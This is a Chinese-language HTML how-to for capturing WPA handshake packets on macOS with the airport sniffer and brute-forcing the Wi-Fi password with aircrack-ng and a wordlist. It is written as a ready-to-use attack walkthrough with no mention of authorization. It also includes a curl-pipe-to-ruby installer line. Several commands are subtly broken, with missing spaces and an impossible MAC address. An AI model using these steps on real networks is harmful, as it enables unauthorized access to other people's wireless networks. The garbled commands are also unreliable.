		<h2 id="toc_0">使用大功率无线网卡抓取cap包用于密码破解（macos）</h2>

<p>1、安装aircrack-ng</p>

<p>命令：brew install aircrack-ng</p>

<p>注意，如果没安装brew,访问：<a href="https://brew.sh%EF%BC%8C%E9%A6%96%E9%A1%B5%E4%B8%8A%E6%9C%89%E5%AE%89%E8%A3%85brew%E7%9A%84%E5%91%BD%E4%BB%A4%EF%BC%8C%E6%88%91%E5%AE%89%E8%A3%85%E6%97%B6%EF%BC%88201706%EF%BC%89%E5%91%BD%E4%BB%A4%E5%A6%82%E4%B8%8B%EF%BC%9A">https://brew.sh，首页上有安装brew的命令，我安装时（201706）命令如下：</a></p>

<p>/usr/bin/ruby -e &quot;$(curl -fsSLhttps://raw.githubusercontent.com/Homebrew/install/master/install)&quot;</p>

<p>2、添加airport快链</p>

<p>命令：ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</p>

<p>3、使用mac自带的airport选取mac地址</p>

<p>命令：airport -s</p>

<p>选择CHANNEL的数值，比如：11</p>

<p>4、监听选定的频道获取到握手的包</p>

<p>命令：airport en0 sniff 11</p>

<p>运行一段时间，就可以在/tmp收获以.cap结尾的分析包，结束之后会提示保存的.cap文件位置</p>

<p>注意：（1）尽可能不要运行太长时间，否则.cap文件会比较大；</p>

<p>（2）可以使用ctr+c结束运行(我刚开始就不知道🙈)；</p>

<p>（3）如果提示权限问题，则使用 sudo airport en0 sniff 11</p>

<p>5、用 aircrack-ng分析cap包</p>

<p>命令：sudo aircrack-ng  /tmp/airportSniff******.cap</p>

<p>找到有(1 handshake)的那一行记录，记录下BSSID（比如是:10:02:22:23:7v:6f）。</p>

<p>建议直接搜索，否则能看晕，如果没有搜索到，请重新执行第4步；</p>

<p>6、开始暴力破解</p>

<p>命令：sudo aircrack-ng-wpojie.txt-b10:02:22:23:7v:6f/tmp/airportSniff******.cap</p>

<p>注意：.txt为破解字典</p>

<p>如果有碰撞到密码，程序会停止，并显示密码。</p>
